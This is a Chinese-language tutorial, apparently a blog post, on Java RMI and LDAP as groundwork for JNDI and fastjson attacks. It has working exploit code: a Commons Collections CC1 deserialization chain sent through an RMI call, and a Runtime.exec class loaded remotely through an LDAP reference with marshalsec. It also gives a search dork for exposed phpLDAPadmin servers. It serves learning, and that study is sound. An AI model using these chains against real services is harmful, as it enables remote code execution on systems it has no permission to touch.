RMI a = new server();//创建远程对象
LocateRegistry.createRegistry(1099);//创建注册表,也就是创建并运行RMI Registry
Naming.rebind("rmi://127.0.0.1:1099/zzz",a);//将远程对象a绑定到注册表里面,并把他名字绑定为zzz
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class Tserver {
public static void main(String[] args) throws Exception{
LocateRegistry.createRegistry(1099);
RMI a = new server();
Naming.rebind("rmi://127.0.0.1:1099/zzz", a);
}
}
构造client
import java.rmi.Naming;
public class client {
public static void main(String[] args) throws Exception {
RMI zz = (RMI) Naming.lookup("rmi://127.0.0.1:1099/zzz");// 利用注册表的代理去查询远程注册表中名为zzz的对象
System.out.println(zz.evil());
}
}
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class server extends UnicastRemoteObject implements RMI{
public server() throws RemoteException {
System.out.println("构造方法");
}
public String evil() throws RemoteException {
System.out.println("attack success!");
return "hello,world";
}
public void qq(Object obj) throws RemoteException{
System.out.println("1");
}
}
调用服务类的还是不变
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class Tserver {
public static void main(String[] args) throws Exception{
LocateRegistry.createRegistry(1099);
RMI a = new server();
Naming.rebind("rmi://127.0.0.1:1099/zzz", a);
}
}
最后编写客户端:(CC1链)
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class client {
public static void main(String[] args) throws Exception {
RMI zz = (RMI) Naming.lookup("rmi://127.0.0.1:1099/zzz");// 利用注册表的代理去查询远程注册表中名为zzz的对象
zz.qq(a());
}
public static Object a() throws Exception{
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","test");
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cl.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class,outerMap);
return obj;
}
}
public class attack {
public attack() throws Exception{
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
把文件编译好
然后把这个class文件放在一个目录下,在这个目录用python起一个本地8090端口的服务
python3 -m http.server 8090
然后编写客户端
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
InitialContext object=new InitialContext();
object.lookup("ldap://127.0.0.1:1089/attack");
}
}
前言
这一部分主要是为后面的
jndi
和fastjson
做个铺垫RMI
RMI(Remote Method Invocation)
,即Java
远程方法调用,它使客户机上运行的程序可以通过网络实现调用远程服务器上的对象RMI
由三部分组成:总的来说
RMI
的调用实现目的就是调用远程机器的类,跟调用一个写在自己的本地的类一样唯一区别就是
RMI
服务端提供的方法,被调用的时候该方法是执行在服务端构造
Server
端首先尝试构造
RMI
服务端:构造
RMI
的服务端,首先需要写一个接口构造这个接口要注意几个条件:
public
声明,否则客户端在尝试加载实现远程接口的远程对象时会出错。(如果客户端、服务端放一起的话就不会报错)java.rmi.RemoteException
报错然后服务端需要实现这个接口
创建这个实现类也有几个条件:
构造
Registry
Registry
主要就这几行代码,Naming.rebind
的第一个参数是URL,形如:rmi://host:port/name
的形式,host
和port
是RMI Registry
的地址与端口,name
是远程对象的名字。如果RMI Registry
在本地运行,那么host和port
是可以省略的,此时host
默认是localhost
,port
默认是1099
。最后把
Registry
的代码和server
的代码放在一起构造
client
客户端很简单,利用
Naming.lookup
方法在地址中去寻找我们绑定的对象,然后将这对象返回,里有个细节就是如果写了包名的话,客户端的包名也要和服务端的相同;还有就是由于我是在IDEA创建的同一个项目,所以接口可以复用了,如果真是环境的话,客户端也需要实现相同接口,不然是无法接收传过来的类的。运行服务端后,再运行客户端
服务端:

客户端:

再来看一下一张图,明显看得出他们之间的关系了

总结一下就是:
RMI Registry
就像一个网关,本身不执行远程方法;RMI Server
可以在上面注册一个Name
到对象的绑定关系;RMI Client
通过Name
向RMI Registry
查询,得到这个绑定关系,然后再连接RMI Server
,最后远程方法实际在RMI Server
上进行调用。这里因为是本地调用,也没有用Reference类,所以没有server
端口。RMI反序列化
其实在
RMI
链接的过程中,数据的传输和得到是以序列化和反序列化的形式,详细看P神在Java安全漫谈
的RMI
篇,里面通过wireshark
的流量检测,对RMI
的通信过程做了详细的分析,简单来说Registry
,并在其中寻找Name
对象,这里他是序列化传输调用函数的输入参数至服务端Registry
返回一个序列化数据,它就是找到的Name对象TCP
连接,在这个新的连接里,才是执行的真正的远程方法,即evil();
实际上,它们的通讯过程就是序列化和反序列化的过程,里面调用了
writeObject和readObject
方法。所以构造恶意的序列化语句,服务端反序列化的时候如果存在漏洞就可以利用了但
RMI
的反序列化漏洞必须要有以下几个条件:能进行
RMI
通信Object
类型的参数:如果服务端的某个方法,传递的参数是Object
类型的参数,当服务端接收数据时,就会调用readObject
,所以我们可以从这个角度入手来攻击服务端。由于需要接受Object类型的参数,所以需要对接口代码增加一个方法:
此时多了一个
qq
方法,之前说过当客户端调用这个方法时候,服务端会对其传递的参数进行反序列化。所以我们构造恶意的参数就可以了(理论上来说攻击客户端的话是客户端对方法返回的对象反序列化,所以在恶意服务端构造返回恶意对象的方法就行)接着然后编写服务端:
调用服务类的还是不变
最后编写客户端:(CC1链)
没弹出来可能是服务器
JDK
版本问题,注意一下限制条件就可以了LDAP
什么是LDAP?
在介绍什么是LDAP之前,我们先来看一个东西:“什么是目录服务?”
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
LDAP(Lightweight Directory Access Protocol)
:轻量级目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询,是X.500的一种简便的实现。而LDAP目录服务
是由目录数据库
和一套访问协议
组成的系统
。LDAP可以分为几种模型:
我们讨论的是以信息模型为基础的,既然LDAP是以树状的分布查询的,那么查询语句也应该是树状的形式,举个例子:比如要描述下图baby这个节点:

就要用
接着来看
LDAP
中主要的三个专有名词:条目(Entry)
、属性(Attribute)
、对象类(ObjectClass)
条目,也叫记录项,是LDAP中最基本的颗粒,就想字典中的词条或者是数据中的记录。通常对LDAP的添加、删除、修改、搜索都是以条目为基本单位。
每个条目都可以有很多属性(Attribute),比如常见的人都有姓名、地址、电话等属性。每个属性都有名称及对应的值,属性值可以有单个、多个,比如你有多个邮箱。
此外,LDAP为人员组织机构中常见的对象都设计了属性(比如commonName,surname)。
对象类是属性的集合,LDAP预想了很多人员组织机构中常见的对象,并将其封装成对象类。
还有几个关键字可以了解一下

LDAP的基本语法
它的每一个参数都有属于自己的圆括号,且整个LDAP语句需要包括在一对圆括号里。
*
:通配符,可使用它表示任意值,例,查找所有name属性的对象:(name=*)最后来一个比较复杂的例子:(&(Name=John)(|(live=Dallas)(live=Austin))),这可以查找所有居住在Dallas或Austin,并且名字为John的对象。
这样看总体还是非常简单的,接下来我们google hacking:

intitle:”phpLDAPadmin” inurl:cmd.php
来看下真实运行的LDAP服务网站LDAP的利用
其实利用
LDAP
的流程与RMI
基本一致,他也是由客户端和服务端组成的,主要能储存以下Java对象:文章讨论的是第二个,也就是JNDI的References,这个讲jndi的时候再来讲,在这之前,先把相应的环境搭建好
推荐一个工具,
marshalsec
,marshalsec
是一个快速搭建恶意的RMI或者LDAP
服务器的工具,主要就是找到对应端口下的需要的类,然后把相应内容传到register
中LDAP
协议传输的端口下载地址:https://github.com/RandomRobbieBF/marshalsec-jar
用命令启用服务
简单理解就是
attack.class
会在本地的8090端口去找,1089端口开在Registry
,Registry
会从本地的8090
端口下获取attack
对象然后编写恶意类:
把文件编译好

然后把这个
class
文件放在一个目录下,在这个目录用python
起一个本地8090
端口的服务然后编写客户端
运行后就可以弹出来了

流程和
RMI
一样:客户端先通过
1089端口
连接Registry
,并在其中寻找attack
对象,然后Registry
返回一个序列化数据,客户端反序列化该对象,发现它是远程对象,于是再与这个远程对象的地址建立TCP
连接,也就是与127.0.0.1:8090
建立连接,在这个新的连接里,才会执行的真正的远程方法,即attack()
;为了区分嘛,文中的
LDAP
是利用了Reference
类,最终获取类的地方也就是最终通信的地方可以不是本地,RMI
用的Naming.rebind
,直接调用的本地里面的类了。不过原理什么的都是一样的,如果没有弹出来计算器,可能是JDK
版本问题,不管是RMI
还是LDAP
都有版本要求,调低点就行了。注意
(因为只是粗略的学习,至于什是
Reference
类,以及客户端中InitialContext object=new InitialContext();
又或者是JDK的具体版本要求,后面在学习JNDI的时候会再提到!!)LDAP注入
LDAP注入
列题解析
https://blog.raw.pm/en/noxCTF-2018-write-ups/
参考文章
https://xz.aliyun.com/t/6660#toc-4
https://zhuanlan.zhihu.com/p/96151046
https://www.cnblogs.com/nice0e3/p/14280278.html
https://blog.cfyqy.com/article/154071ea.html
http://blog.o3ev.cn/yy/1260#top
https://www.cnblogs.com/wilburxu/p/9174353.html
https://www.anquanke.com/post/id/212186#h2-4
LDAP注入